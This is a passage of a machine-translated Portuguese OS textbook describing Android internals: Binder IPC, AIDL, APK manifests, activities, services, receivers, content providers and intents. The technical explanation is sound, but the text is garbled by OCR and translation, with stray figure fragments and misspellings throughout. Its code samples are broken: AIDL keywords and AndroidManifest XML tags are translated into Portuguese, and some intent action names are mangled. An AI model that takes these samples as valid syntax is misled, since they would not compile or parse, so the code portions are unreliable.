Em vez disso, existe uma biblioteca orientada a objetos no espaço do usuário que fornece uma API mais simples. 
O primeiro nível dessas APIs de espaço do usuário mapeia diretamente os conceitos de kernel que abordamos 
até agora, na forma de três classes: 


1. IBinder é uma interface abstrata para um objeto Binder . Seu método principal é transact, que 
envia uma transação ao objeto. A implementação que recebe a transação pode ser um objeto 
no processo local ou em outro processo; se estiver em outro processo, isso será entregue a ele 


através do módulo do kernel Binder , conforme discutido anteriormente. 


2. Binder é um objeto Binder concreto . A implementação de uma subclasse Binder fornece uma 
classe que pode ser chamada por outros processos. Seu método principal é onTransact, que 
recebe uma transação que lhe foi enviada. A principal responsabilidade de uma subclasse 


Binder é observar os dados de transação que ela recebe aqui e realizar a operação apropriada. 


3. Parcel é um contêiner para leitura e gravação de dados que estão em uma transação do Binder . 
Ele possui métodos para ler e escrever dados digitados — inteiros, strings, arrays — mas o mais 
importante é que ele pode ler e escrever referências a qualquer objeto /Binder , usando a 
estrutura de dados apropriada para o kernel entender e transportar essa referência entre 
processos. 


A Figura 10.46 mostra como essas classes funcionam juntas, modificando a Figura 10.44 que vimos 
anteriormente com as classes de espaço do usuário usadas. Aqui vemos que Binder1b e Binder2a são instâncias 
de subclasses concretas do Binder . Para realizar um IPC, um processo agora cria um Parcel contendo os 
dados desejados e os envia através de outra classe que ainda não vimos, BinderProxy. Esta classe é criada 
sempre que um novo identificador aparece em um processo, fornecendo assim uma implementação do /Binder 


cujo método transact cria a transação apropriada para a cnamada e a envia ao kernel. 
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Processo 1 


Parcela 


transação() 


ANDRÓIDE 


Núcleo 
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Processo 2 


Processo 1 


Processo 2 


Ficháriotb 


Fichário2b 


Transação 


Transação 


BinderProxy 
(Alça 3) 


Para: Alça 2 Para: Binder2a 
E De: Processo 1 De: Processo 1 I 
BinderProxy Alças | 3 
(Alça 2) T Eu 4 [ Dados | 
I E 
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Figura 10-46. API de espaço do usuário do Binder . 


A estrutura de transação do kernel que vimos anteriormente é, portanto, dividida nas APIs do 
espaço do usuário: o destino é representado por um BinderProxy e seus dados são mantidos em 
um Parcel. A transação flui através do kernel como vimos anteriormente e, ao aparecer no espaço 
do usuário no processo de recebimento, seu destino é usado para determinar o objeto Binder de 
recebimento apropriado enquanto um Parcel é construído a partir de seus dados e entregue ao 
método onTransact desse objeto . 

Essas três classes agora facilitam bastante a escrita de código IPC: 


1. Subclasse do Binder. 


2. Implemente onTransact para decodificar e executar chamadas recebidas. 


3. Implemente o código correspondente para criar um Parcel que possa ser passado 
para o método transact desse objeto . 


A maior parte deste trabalho está nas duas últimas etapas. Este é o código de 
desempacotamento e empacotamento necessário para transformar a forma como preferiríamos 
programar — usando chamadas de método simples — nas operações necessárias para executar 


um IPC. Este é um código chato e sujeito a erros de escrever, então gostaríamos de deixar o 
computador cuidar disso para nós. 


Interfaces Binder e AIDL 


A peça final do Binder IPC é a mais usada, um modelo de programação baseado em interface 
de alto nível. Em vez de lidar com objetos Binder e dados Parcel , aqui pensamos em termos de 
interfaces e métodos. 

A peça principal desta camada é uma ferramenta de linha de comando chamada AIDL (para 
Android Interface Definition Language). Esta ferramenta é um compilador de interface, pegando 
uma descrição abstrata de uma interface e gerando a partir dela o código fonte que é 
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necessário definir essa interface e implementar a triagem e 
código de desempacotamento necessário para fazer chamadas remotas com ele. 
A Figura 10-47 mostra um exemplo simples de interface definida em AIDL. Esse 
A interface é chamada /!Example e contém um único método, print, que recebe um único argumento 
String. 


pacote com.exemplo 
interface IExemplo ( 

void print(String msg); 
} 


Figura 10-47. Interface simples descrita em AIDL. 


Uma descrição de interface como a da Figura 10.47 é compilada pelo AIDL para gerar 
Existem três classes da linguagem Java ilustradas na Figura 10.48: 


1. IExample fornece a definição da interface da linguagem Java. 


2. IExample.Stub é a classe base para implementações desta interface. Ele herda do 
Binder, o que significa que pode ser o destinatário do IPC 
chamadas; ele herda de IExample, pois esta é a interface que está sendo 
implementado. O objetivo desta classe é realizar a desempacotamento: 
transformar chamadas onTransact recebidas na chamada de método apropriada de 
Exemplo. Uma subclasse dela é então responsável apenas pela implementação 
os métodos [Example . 


3. IExample.Proxy é o outro lado de uma chamada IPC, responsável por realizar o 
empacotamento da chamada. É uma implementação concreta de 
IExample, implementando cada método dele para transformar a chamada em 
o conteúdo apropriado do pacote e enviá-lo por meio de uma chamada de transação 
em um [/Binder com o qual está se comunicando. 


IExample.Stub lExample.Proxy FREE 


Figura 10-48. Hierarquia de herança da interface do Binder . 


Com essas aulas implementadas, não há mais necessidade de se preocupar com o 
mecânica de um IPC. Os implementadores da interface [Example simplesmente derivam de 
IExample.Stub e implemente os métodos de interface como fariam normalmente. 
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Os chamadores receberão uma interface I[Example implementada por IExample. Proxy, 
permitindo que eles façam chamadas regulares na interface. 
A maneira como essas peças trabalham juntas para realizar uma operação IPC completa é 


mostrado na Figura 10-49. Uma simples chamada de impressão em uma interface Example se transforma em: 


1. /Example.Proxy empacota a chamada do método em um Parcel, chamando trans act no 
IBinder ao qual está conectado, que normalmente é um BinderProxy 
para um objeto em outro processo. 


2. BinderProxy constrói uma transação de kernel e a entrega ao ker 


nel através de uma chamada ioctl . 
3. O kernel transfere a transação para o processo pretendido, entregando 
para um thread que está aguardando em sua própria chamada ioctl . 


4. A transação é decodificada novamente em Parcele onTransact é chamada 


no objeto local apropriado, aqui Exemplolmpl (que é uma subclasse de IExample. Stub). 


5. Example. Stub decodifica o Parcel no método apropriado e 
argumentos para chamar, aqui chamando print. 


6. A implementação concreta de print em Examplelmpl finalmente 
executa. 


Processo 1 Processo 2 


Exemplolmp 


l imprimir("olá") 


Exemplo 


lExample.Proxy 


Núcleo lExample.Stub 
transacionar({imprimir olá}) 


onTransaci((imprimir olá)) 


I 

l 

l 

l 

l 

l 

l 

l 

l 

| imprimir("olá") 
| o ET 
| 

l 

l 

l 

| 

l 

l 

l 

l 


BinderProxy 
binder_module ~ Encadernador 


Figura 10-49. Caminho completo de um Binder IPC baseado em AIDL . 


A maior parte do IPC do Android é escrita usando esse mecanismo. A maioria dos serviços em 
Android são definidos por meio de AIDL e implementados conforme mostrado aqui. Lembre-se do 
Figura 10-40 anterior mostrando como a implementação do gerenciador de pacotes no 
o processo do servidor do sistema usa IPC para se publicar com o gerenciador de serviços para 
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outros processos para fazer chamadas para ele. Duas interfaces AIDL estão envolvidas aqui: 
uma para o gerenciador de serviços e outra para o gerenciador de pacotes. Por exemplo, a 
Figura 10.50 mostra a descrição básica do AIDL para o gerenciador de serviços; ele contém o 
método getServiço , que outros processos usam para recuperar o IBinder de interfaces de 
serviço do sistema, como o gerenciador de pacotes. 


pacote android.os 


interfacelServiceManager ( 
IBinder getService(String nome); 
void addService (nome da string, fichário IBinder); 


Figura 10-50. Interface AIDL do gerenciador de serviços básico. 


10.8.8 Aplicativos Android 


O Android fornece um modelo de aplicativo que é muito diferente de um ambiente típico 
de linha de comando no shell do Linux ou mesmo de aplicativos iniciados a partir de uma 
interface gráfica de usuário, como Gnome ou KDE. Um aplicativo não é um arquivo executável 
com um ponto de entrada principal; é um contêiner de tudo que compõe esse aplicativo: seu 
código, recursos gráficos, declarações sobre o que ele representa para o sistema e outros 
dados. 

Um aplicativo Android por convenção é um arquivo com extensão apk , para Android 
Package. Este arquivo é na verdade um arquivo zip normal, contendo tudo sobre o aplicativo. 
O conteúdo importante de um apk é o seguinte: 


1. Um manifesto que descreve o que é o aplicativo, o que ele faz e como executá-lo. 
O manifesto deve fornecer um nome de pacote para o aplicativo, uma string 
com escopo no estilo Java (como com.android.app.calculator), que o identifica 
exclusivamente. 


2. Recursos necessários ao aplicativo, incluindo strings exibidas ao usuário, dados 
XML para layouts e outras descrições, mapas de bits gráficos, etc. 


3. O código em si, que pode ser um bytecode ART, bem como uma biblioteca nativa 
código. 


4. Assinar informações, identificando com segurança o autor. 
A parte principal do aplicativo para nossos propósitos aqui é seu manifesto, que aparece 
como um arquivo XML pré-compilado chamado AndroidManifest.xml na raiz do namespace zip 


do apk. Um exemplo completo de declaração de manifesto para um aplicativo de e-mail 
hipotético é mostrado na Figura 10.51: ela permite visualizar e redigir e-mails 
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e também inclui componentes necessários para sincronizar seu armazenamento local de 
e-mail com um servidor, mesmo quando o usuário não está no aplicativo. 


<?xml version="1.0" encoding="utf-8"?> 


<manifest xmins:android="http://schemas.android.com/apk/res/android" 
package="com.example.email"> 


<aplicativo> 


<atividade android:name="com.example.email.MailMainActivity"> 
<intent-filter> 


<action android:name="android.intent.action.MAIN" /> 


<categor e android:name="android.intent. categoria y. LAUNCHER" /> 
</intent-ilter> 


</activity> 


<atividade android:name="com.example.email.ComposeActivity"> 
<intent-filter> 
<action android:name="android.intent.action.SEND" /> 
<categor e android:name="android.intent. categoria y DEFAULT" /> 
<data android:mimeType=""/"" /> </ 
intentilter> </ 


activity> 


<serviço android:name="com.example.email.SyncSer vice"> </ 
serviço> 


<receptor androidiname="com.example.email.SyncControlReceiver"> 
<intent-ilter> 


<action android:name="android.intent.action. DEVICE STORAGE LOW" /> 
</intentfilter> 
<intent-filter> 
<action android:name="android.intent.action. DEVICE ARMAZENAMENTO OK" /> 
</intent-filter> 
</receiver> 


<provider android:name="com.example.email.EmailProvider" 
android:author ities="com.example.email.provider.email"> </ 
provider> 


</application> 
</manifest> 


Figura 10-51. Estrutura básica do AndroidManifest.xml. 


Tenha em mente que, embora o que é descrito aqui seja um aplicativo real que você 
poderia escrever para Android, para se concentrar na ilustração dos principais conceitos 
do sistema operacional, o exemplo foi simplificado e modificado a partir de como um 
aplicativo real como esse normalmente é projetado. Se você escreveu um aplicativo 
Android e ver este exemplo faz você sentir que algo está errado, você não está errado! 
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Os aplicativos Android não possuem um ponto de entrada principal simples que é 
executado quando o usuário os inicia. Em vez disso, eles publicam sob a tag <application> do 
manifesto uma variedade de pontos de entrada que descrevem as diversas coisas que o 
aplicativo pode fazer. Esses pontos de entrada são expressos em quatro tipos distintos, 
definindo os principais tipos de comportamento que os aplicativos podem fornecer: atividade, 
receptor, serviço e provedor de conteúdo. O exemplo que apresentamos mostra algumas 
atividades e uma declaração dos outros tipos de componentes, mas uma aplicação pode 
declarar zero ou mais de qualquer um deles. 

Cada um dos diferentes quatro tipos de componentes que um aplicativo pode conter tem 
diferentes semânticas e usos dentro do sistema. Em todos os casos, o atributo androidiname 
fornece o nome da classe Java do código da aplicação que implementa aquele componente, 
que será instanciado pelo sistema quando necessário. 

O gerenciador de pacotes é a parte do Android que controla todos os pacotes de 
aplicativos. Quando um usuário baixa um aplicativo, ele vem em um pacote contendo tudo o 
que o aplicativo precisa. Ele analisa o manifesto de cada aplicativo, coletando e indexando as 
informações que encontra neles. Com essas informações, ele fornece recursos para os clientes 
consultarem sobre as informações do aplicativo que esses clientes têm permissão para 
acessar, como se um aplicativo está instalado no momento e os tipos de coisas que um aplicativo pode fazer. 
Ele também é responsável pela instalação de aplicativos (criando espaço de armazenamento 
para o aplicativo e garantindo a integridade do apk), bem como por tudo o que é necessário 
para desinstalar um aplicativo, o que inclui limpar tudo associado a uma versão do aplicativo 
instalada anteriormente. 

Os aplicativos declaram estaticamente seus pontos de entrada em seu manifesto para 
que não precisem executar o código no momento da instalação que os registra no sistema. 
Esse design torna o sistema mais robusto de várias maneiras: como a instalação de um 
aplicativo não executa nenhum código do aplicativo e os recursos de nível superior do aplicativo 
sempre podem ser determinados observando seu manifesto, não há necessidade de manter 
um banco de dados separado. dessas informações sobre o aplicativo que podem ficar fora de 
sincronia (como entre atualizações) com os recursos reais do aplicativo e garante que nenhuma 
informação sobre um aplicativo possa ser deixada após ele ser desinstalado. Esta abordagem 
descentralizada foi adotada para evitar muitos desses tipos de problemas causados pelo 
Registro centralizado do Windows. 

Dividir um aplicativo em componentes mais refinados também atende ao nosso objetivo 
de apoiar a interoperação e a colaboração entre aplicativos. Os aplicativos podem publicar 
partes de si mesmos que fornecem funcionalidades específicas, que outros aplicativos podem 
utilizar direta ou indiretamente. Isto será ilustrado à medida que examinarmos mais 
detalhadamente os quatro tipos de componentes que podem ser publicados. 

Acima do gerenciador de pacotes fica outro importante serviço do sistema, o gerenciador 
de atividades. Embora o gerenciador de pacotes seja responsável por manter informações 
estáticas sobre todos os aplicativos instalados, o gerenciador de atividades determina quando, 
onde e como esses aplicativos devem ser executados. Apesar do nome, ele é responsável por 
executar todos os quatro tipos de componentes do aplicativo e implementar o comportamento 
apropriado para cada um deles. 


Machine Translated by Google 


SEC. 10.8 ANDRÓIDE 821 


Atividades 


Uma atividade é uma parte do aplicativo que interage diretamente com o usuário por meio de 
uma interface de usuário. Quando o usuário inicia um aplicativo em seu dispositivo, esta é na verdade 
uma atividade dentro do aplicativo que foi designada como ponto de entrada principal. A aplicação 
implementa em sua atividade um código responsável pela interação com o usuário. 


O exemplo de manifesto de e-mail mostrado na Figura 10.51 contém duas atividades. A primeira 
é a interface principal do usuário de e-mail, permitindo aos usuários visualizar suas mensagens; a 
segunda é uma interface separada para compor uma nova mensagem. A primeira atividade de correio 
é declarada como o principal ponto de entrada da aplicação; ou seja, a atividade que será iniciada 
quando o usuário a iniciar na tela inicial. 

Como a primeira atividade é a atividade principal, ela será mostrada aos usuários como um 
aplicativo que eles podem iniciar a partir do inicializador de aplicativos principal. Se fizerem isso, o 
sistema estará no estado mostrado na Figura 10.52. Aqui o gerenciador de atividades, no lado 
esquerdo, criou uma instância interna do ActivityRecord em seu processo para acompanhar a atividade. 
Uma ou mais dessas atividades são organizadas em contêineres chamados tarefas, que correspondem 
aproximadamente ao que o usuário experimenta como aplicativo. Neste ponto, o gerenciador de 
atividades iniciou o processo do aplicativo de e-mail e uma instância de sua MainMailActivity para 
exibir sua UI principal, que está associada ao ActivityRecord apropriado. Esta atividade está em um 
estado denominado retomada , pois agora está em primeiro plano da interface do usuário. 


Gerenciador de atividades no processo system server Processo do aplicativo de e-mail 


Tarefa: E-mail 


MailMainActivity 


Registro de atividade 
(MailMainActivity) 


Figura 10-52. Iniciando a atividade principal de um aplicativo de e-mail. 


Se o usuário agora saísse do aplicativo de e-mail (sem sair dele) e iniciasse um aplicativo de 
câmera para tirar uma foto, estaríamos no estado mostrado na Figura 10.53. Observe que agora 
temos um novo processo de câmera executando a atividade principal da câmera, um ActivityRecord 
associado para ele no gerenciador de atividades, e agora é a atividade retomada. Algo interessante 
também acontece com a atividade de e-mail anterior: em vez de ser retomada, ela agora é interrompida 
e o ActivityRecord mantém o estado salvo desta atividade . 


Quando uma atividade não está mais em primeiro plano, o sistema automaticamente solicita que 
ela “salve seu estado”. Isso envolve a criação de uma quantidade mínima de atividades pelo aplicativo. 
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Figura 10-53. Iniciando o aplicativo da câmera após o email. 


informações de estado que representam o que o usuário vê atualmente e que ele retorna ao 
gerenciador de atividades; o gerenciador de atividades, em execução no processo do servidor do 
sistema , retém esse estado em seu ActivityRecord para essa atividade. O estado salvo de uma 
atividade geralmente é pequeno, por exemplo, contendo onde você está rolando em uma 
mensagem de e-mail; ele não conteria dados como a própria mensagem, que o aplicativo manteria 
em algum lugar em seu próprio armazenamento persistente (para que permanecesse disponível 
mesmo que o usuário removesse completamente uma atividade). 

Lembre-se de que, embora o Android exija paginação (ele pode entrar e sair da RAM limpa 
que foi mapeada a partir de arquivos no disco, como código), ele não depende de espaço de troca. 
Isso significa que todas as páginas sujas de RAM no processo de um aplicativo devem permanecer 
na RAM. Ter o estado de atividade principal do e-mail armazenado com segurança no gerenciador 
de atividades devolve ao sistema parte da flexibilidade para lidar com a memória que a troca 
fornece. 

Por exemplo, se o aplicativo da câmera começar a exigir muita RAM, o sistema poderá 
simplesmente se livrar do processo de e-mail, como mostrado na Figura 10.54. O Activi tyRecora, 
com seu precioso estado salvo, permanece guardado com segurança pelo gerenciador de 
atividades no processo do servidor do sistema . Como o processo do servidor do sistema hospeda 
todos os principais serviços do sistema Android, ele deve permanecer sempre em execução, de 
modo que o estado salvo aqui permanecerá disponível enquanto precisarmos dele. 

Nosso aplicativo de e-mail de exemplo não possui apenas uma atividade para sua UI principal, 
mas inclui outra ComposeActivity. Os aplicativos podem declarar quantas atividades desejarem. 
Isso pode ajudar a organizar a implementação de uma aplicação, mas, mais importante ainda, 
pode ser usado para implementar interações entre aplicações. Por exemplo, esta é a base do 
sistema de compartilhamento entre aplicativos do Android, que o 
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Figura 10-54. Removendo o processo de e-mail para recuperar RAM da câmera. 


Aqui, o ComposeActivity está participando. Se o usuário, enquanto estiver no aplicativo de câmera, decidir 
que deseja compartilhar uma foto que tirou, o Com poseActivity do nosso aplicativo de e-mail é uma das 
opções de compartilhamento que ele possui. Se for selecionado, essa atividade será 
ser iniciado e receber a imagem para ser compartilhada. (Mais tarde veremos como a câmera 
aplicativo é capaz de localizar a ComposeActivity do aplicativo de e-mail.) 

Executar essa opção de compartilhamento enquanto estiver no estado de atividade visto na Figura 10-54 
leva ao novo estado da Figura 10.55. Há uma série de coisas importantes a serem observadas: 


1. O processo do aplicativo de e-mail deve ser reiniciado para executar seu ComposeAc 


atividade. 


2. Entretanto, o antigo MailMainActivity não é iniciado neste ponto, pois 
Não é necessário. Isso reduz o uso de RAM. 


3. A tarefa da câmera agora tem dois registros: o CameraMainActivity original que acabamos de 
usar e o novo ComposeActivity que agora é 
exibido. Para o usuário, essas ainda são uma tarefa coesa: é a câmera que atualmente 


interage com ele para enviar uma imagem por e-mail. 


4. A nova ComposeActivity está no topo, então ela é retomada; o anterior 
CameraMainActivity não está mais no topo, então seu estado foi 


salvou. Neste ponto, podemos encerrar o processo com segurança se sua RAM for 
necessária em outro lugar. 


Se você quiser experimentar isso no Android, deve-se observar 
que a partir do Android 5.0 um fluxo de compartilhamento real resultaria no ComposeActivity 
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Figura 10-55. Compartilhando uma foto da câmera por meio do aplicativo de e-mail. 


aparecendo em sua terceira tarefa, separada de CameraMainActivity. Isto foi parte de uma 
mudança para um modelo “recente centrado em documentos”, descrito em 


https://developer.android.com/guide/components/activities/recents onde as 


tarefas que temos aqui e que são mostradas aos usuários podem ser partes contextuais de 
aplicativos, bem como os próprios aplicativos. A abstração de atividades entre os aplicativos e o 
sistema operacional permitiu implementar esse tipo de experiência de usuário significativa com 
pouca ou nenhuma modificação dos próprios aplicativos. 

Por fim, vejamos o que aconteceria se o usuário abandonasse a tarefa de câmera neste 
último estado (ou seja, redigindo um e-mail para compartilhar uma imagem) e retornasse ao 
aplicativo de e-mail. A Figura 10-56 mostra o novo estado em que o sistema estará. Observe que 
trouxemos a tarefa de e-mail com sua atividade principal de volta ao primeiro plano. 

Isso torna MailMainActivity a atividade em primeiro plano, mas atualmente não há nenhuma 
instância dela em execução no processo do aplicativo. 

Para retornar à atividade anterior, o sistema cria uma nova instância, devolvendo-a ao estado 
salvo anteriormente que a instância antiga havia fornecido. Esta ação de restaurar uma atividade 
de seu estado salvo deve ser capaz de trazer a atividade de volta ao mesmo estado visual em 
que o usuário a deixou pela última vez. Para fazer isso, o aplicativo procurará em seu estado 
salvo a mensagem em que o usuário estava, carregará os dados dessa mensagem de seu 


armazenamento persistente e, em seguida, aplicará qualquer posição de rolagem ou outro 
estado de interface do usuário que tenha sido salvo. 
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Serviços 


Um serviço tem duas identidades distintas: 


1. Pode ser uma operação em segundo plano independente de longa duração. Exemplos 
comuns de uso de serviços dessa maneira são a reprodução de música em segundo 


2. Ele pode servir como um ponto de conexão para outros aplicativos ou para o sistema 
realizar uma interação rica com o aplicativo. Isso pode ser usado por aplicativos para 
fornecer APIs seguras para outros aplicativos, como para realizar processamento de 
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Figura 10-56. Voltando ao aplicativo de e-mail. 


plano, a manutenção de uma conexão de rede ativa (como um servidor de IRC) 


enquanto o usuário está em outros aplicativos, o download ou o upload de dados em 


segundo plano, etc. 


imagem ou áudio, fornecer conversão de texto em fala, etc. 


825 


O exemplo de manifesto de e-mail mostrado na Figura 10.51 contém um serviço que é usado 
para realizar a sincronização da caixa de correio do usuário. Uma implementação comum agendaria 
o serviço para ser executado em intervalos regulares, como a cada 15 minutos, iniciando o serviço na 


hora de ser executado e parando -se quando terminar. 


Este é um uso típico do primeiro estilo de serviço, uma operação em segundo plano de longa 
duração. A Figura 10-57 mostra o estado do sistema neste caso, o que é bastante simples. O gerente 


de atividades criou um ServiceRecord para acompanhar o 
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service, observando que ele foi iniciado, e assim criou sua instância SyncService no processo da 
aplicação. Enquanto estiver neste estado, o serviço estará totalmente ativo (exceto que todo o 
sistema entre em suspensão se não mantiver um wake lock) e livre para fazer o que quiser. É 
possível que o processo do aplicativo desapareça enquanto estiver nesse estado, como se o 
processo travasse, mas o gerenciador de atividades continuará a manter seu ServiceRecord e 


poderá, nesse ponto, decidir reiniciar o serviço, se desejar. 


Gerenciador de atividades no processo system server Processo do aplicativo de e-mail 


Registro de serviço 
Serviço de sincronização 


(Serviço de sincronização) 


Figura 10-57. Iniciando um serviço de aplicativo. 


Para ver como podemos usar um serviço como ponto de conexão para interação com outras 
aplicações, digamos que queremos estender nosso SyncService existente para ter uma API que 
permita que outras aplicações controlem seu intervalo de sincronização. Precisaremos definir uma 
interface AIDL para esta API, como a mostrada na Figura 10.58. 


pacote com.example.email 


interface ISyncControl { int 
getSyncinterval(); void 
setSyncinterval(int segundos); 


Figura 10-58. Interface para controlar o intervalo de sincronização de um serviço de sincronização. 


Para utilizar isso, outro processo pode se vincular ao nosso serviço de aplicação, obtendo 
acesso à sua interface. Isso cria uma conexão entre os dois aplicativos, mostrado na Figura 10.59. 
As etapas deste processo são as seguintes: 


1. O aplicativo cliente informa ao gerenciador de atividades que gostaria de vincular-se 
ao serviço. 


2. Se o serviço ainda não tiver sido criado, o gerenciador de atividades o criará no 
processo do aplicativo de serviço. 


3. O serviço retorna o /Binder para sua interface ao gerenciador de atividades, que 
agora mantém esse /Binder em seu ServiceRecora. 


4. Agora que o gerenciador de atividades possui o serviço /Binder, ele pode ser enviado 
de volta ao aplicativo cliente original. 


5. A aplicação cliente que agora possui o /Binder do serviço pode prosseguir para fazer 
quaisquer chamadas diretas que desejar em sua interface. 
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Figura 10-59. Vinculação a um serviço de aplicativo. 


Receptores 


Um receptor é o destinatário de eventos (normalmente externos) que acontecem, na maioria das 
vezes, em segundo plano e fora da interação normal do usuário com um aplicativo. 

Os receptores são conceitualmente iguais a um aplicativo que se registra explicitamente para um 
retorno de chamada quando algo interessante acontece (um alarme dispara, mudanças na 
conectividade de dados, etc.), mas não exigem que o aplicativo esteja em execução para receber o 
evento. 

O exemplo de manifesto de e-mail mostrado na Figura 10.51 contém um receptor para o aplicativo 
descobrir quando o armazenamento do dispositivo fica baixo para interromper a sincronização de e- 
mails (o que pode consumir mais armazenamento). Quando o armazenamento do dispositivo ficar 
baixo, o sistema enviará uma transmissão com o código de baixo armazenamento, para ser entregue 
a todos os receptores interessados no evento. 

A Figura 10.60 ilustra como tal transmissão é processada pelo gerenciador de atividades para 
entregá-la aos receptores interessados. Primeiro ele pede ao gerenciador de pacotes uma lista de 
todos os receptores interessados no evento, que é colocada em um Broad castRecord representando 
aquela transmissão. O gerenciador de atividades irá então percorrer cada entrada na lista, fazendo 
com que cada processo do aplicativo associado crie e execute a classe receptora apropriada. 


Os receptores funcionam apenas como operações únicas. Eles são ativados apenas uma vez. 
Quando um evento acontece, o sistema encontra quaisquer receptores interessados nele, entrega 
esse evento a eles e, uma vez que eles tenham consumido o evento, eles terminam. Não existe um 
ReceiverRecord como aqueles que vimos para outros componentes de aplicação, porque um receptor 
específico é apenas uma entidade transitória durante uma única transmissão. 


Cada vez que uma nova transmissão é enviada para um componente receptor, uma nova instância da 
classe desse receptor é criada. 
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Figura 10-60. Enviando uma transmissão para receptores de aplicativos. 


Provedores de conteúdo 


Nosso último componente de aplicativo, o provedor de conteúdo, é o principal mecanismo que os aplicativos 
usam para trocar dados entre si. Todas as interações com um provedor de conteúdo são feitas por meio de URIs 
usando um esquema content:; a autoridade do URI é usada para encontrar a implementação correta do provedor de 
conteúdo com a qual interagir. 

Por exemplo, em nosso aplicativo de e-mail da Figura 10.51, o provedor de conteúdo especifica que sua 
autoridade é com.example.email. provider.email. Assim, os URIs operando neste provedor de conteúdo começariam 


com 


content://com.example.email.provider.email/ 


O sufixo desse URI é interpretado pelo próprio provedor para determinar quais dados dentro dele estão sendo 


acessados. No exemplo aqui, uma convenção comum seria que o URI 


content://com.example.email.provider.email/messages 


significa a lista de todas as mensagens de e-mail, enquanto 


content://com.example.email.provider.email/messages/1 


fornece acesso a uma única mensagem na chave número 1. 

Para interagir com um provedor de conteúdo, os aplicativos sempre passam por uma API de sistema chamada 
ContentResolver, onde a maioria dos métodos possui um argumento URI inicial indicando os dados nos quais operar. 
Um dos métodos ContentResolver mais usados é o query, que executa uma consulta ao banco de dados em um 
determinado URI e retorna um 
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Cursor para recuperar os resultados estruturados. Por exemplo, recuperar um resumo de todas as 
mensagens de e-mail disponíveis seria algo como: 


consulta y("content://com.example.email.provider.email/messages”") 


Embora isso não pareça para os aplicativos, o que realmente acontece quando eles usam 
provedores de conteúdo tem muitas semelhanças com a vinculação a serviços. A Figura 10-61 ilustra 
como o sistema lida com nosso exemplo de consulta: 


1. O aplicativo chama ContentResolver.query para iniciar a operação. 


2. A autoridade do URI é entregue ao gerenciador de atividades para que ele encontre (por 
meio do gerenciador de pacotes) o provedor de conteúdo apropriado. 


3. Se o provedor de conteúdo ainda não estiver em execução, ele será criado. 


4. Uma vez criado, o provedor de conteúdo retorna ao gerenciador de atividades seu /Binder 
implementando a interface IContentProvider do sistema . 


5. O Binder do provedor de conteúdo é retornado ao ContentResolver. 


6. O resolvedor de conteúdo agora pode concluir a operação de consulta inicial chamando o 
método apropriado na interface AIDL, retornando o resultado do Cursor . 
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Figura 10-61. Interagindo com um provedor de conteúdo. 


Os provedores de conteúdo são um dos principais mecanismos para realizar interações entre 
aplicativos. Por exemplo, se voltarmos ao sistema de compartilhamento entre aplicações descrito 
anteriormente na Figura 10.55, os provedores de conteúdo são o meio pelo qual os dados são realmente 
transferidos. O fluxo completo para esta operação é: 


Machine Translated by Google 


830 ESTUDO DE CASO 1: UNIX, LINUX E ANDROID INDIVÍDUO. 10 


1. Uma solicitação de compartilhamento que inclui o URI dos dados a serem compartilhados é 


criada e enviada ao sistema. 


2. O sistema solicita ao ContentResolver o tipo MIME dos dados por trás desse URI; isso funciona 
de forma muito parecida com o método de consulta que acabamos de discutir, mas pede 
ao provedor de conteúdo para retornar uma string do tipo MIME para o URI. 


3. O sistema encontra todas as atividades que podem receber dados das atividades identificadas 
Tipo MIME. 


4. Uma interface de usuário é mostrada para que o usuário selecione uma das opções possíveis 


destinatários. 
5. Quando uma destas atividades é selecionada, o sistema a inicia. 


6. A atividade de tratamento de compartilhamento recebe o URI dos dados a serem 
compartilhados, recupera seus dados por meio do ContentResolver e executa sua operação 
apropriada: cria um e-mail, armazena-o, etc. 


10.8.9 Intenções 


Um detalhe que ainda não discutimos no manifesto da aplicação mostrado na Figura 10.51 são as tags 
<intent-filter> incluídas nas declarações de atividade e receptor. Isso faz parte do recurso de intenção do 
Android, que é a base de como diferentes aplicativos se identificam para poder interagir e trabalhar juntos. 


Uma intenção é o mecanismo que o Android usa para descobrir e identificar atividades, receptores e 
serviços. É semelhante em alguns aspectos ao caminho de pesquisa do shell do Linux, que o shell usa para 
procurar em vários diretórios possíveis a fim de encontrar um executável que corresponda aos nomes de 
comando fornecidos a ele. 

Existem dois tipos principais de intenções: explícitas e implícitas. Uma intenção explícita é aquela que 
identifica diretamente um único componente específico do aplicativo; em termos de shell do Linux, é 
equivalente a fornecer um caminho absoluto para um comando. A parte mais importante dessa intenção é 
um par de strings que nomeiam o componente: o nome do pacote do aplicativo de destino e o nome da 
classe do componente dentro desse aplicativo. Agora, voltando à atividade da Figura 10.52 no aplicativo 
Figura 10.51, uma intenção explícita para esse componente seria aquela com o nome de pacote 
com.example.email e o nome de classe com.example.email. MailMainActivity. 


O nome do pacote e da classe de uma intenção explícita são informações suficientes para identificar 
exclusivamente um componente de destino, como a principal atividade de email na Figura 10.52. 
A partir do nome do pacote, o gerenciador de pacotes pode retornar tudo o que é necessário sobre a 
aplicação, como onde encontrar seu código. Pelo nome da classe, sabemos qual parte desse código executar. 
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Uma intenção implícita é aquela que descreve as características do componente desejado, mas não o 
componente em si; em termos de shell do Linux, isso é equivalente a 
fornecendo um único nome de comando ao shell, que ele usa com seu caminho de pesquisa para 
encontre um comando concreto para ser executado. Este processo de encontrar o componente que corresponde 
a uma intenção implícita é chamado de resolução de intenção. 

O recurso de compartilhamento geral do Android, como vimos anteriormente na ilustração da Figura 10.55 
sobre o compartilhamento de uma foto que o usuário tirou da câmera por meio do aplicativo de e-mail, é um bom 
exemplo de intenções implícitas. Aqui, o aplicativo da câmera cria um 
intenção descrevendo a ação a ser realizada, e o sistema encontra todas as atividades que podem 
potencialmente executar essa ação. Um compartilhamento é solicitado por meio da ação de intenção 


android.intent.action.SEND, e podemos ver na Figura 10.51 que a atividade de composição do aplicativo de e- 


mail declara que ele pode executar essa ação. 
Pode haver três resultados para uma resolução de intenção: (1) nenhuma correspondência é encontrada, (2) 


uma única correspondência única é encontrada ou (3) há várias atividades que podem lidar 
a intenção. Uma correspondência vazia resultará em um resultado vazio ou em uma exceção, 
dependendo das expectativas do cnamador naquele momento. Se a correspondência for única, 
então o sistema pode prosseguir imediatamente para o lançamento da intenção agora explícita. Se 
a partida não é única, precisamos resolvê-la de alguma forma de outra forma para um único 
resultado. 
Se a intenção se resume a múltiplas atividades possíveis, não podemos simplesmente lançar todas 
eles; precisamos escolher um único para ser lançado. Isto é conseguido através de um 
truque no gerenciador de pacotes. Se o gerenciador de pacotes for solicitado a resolver uma intenção 
reduzido a uma única atividade, mas descobre que há várias correspondências, em vez disso resolve 
a intenção de uma atividade especial incorporada ao sistema chamada ResolverActivity. 
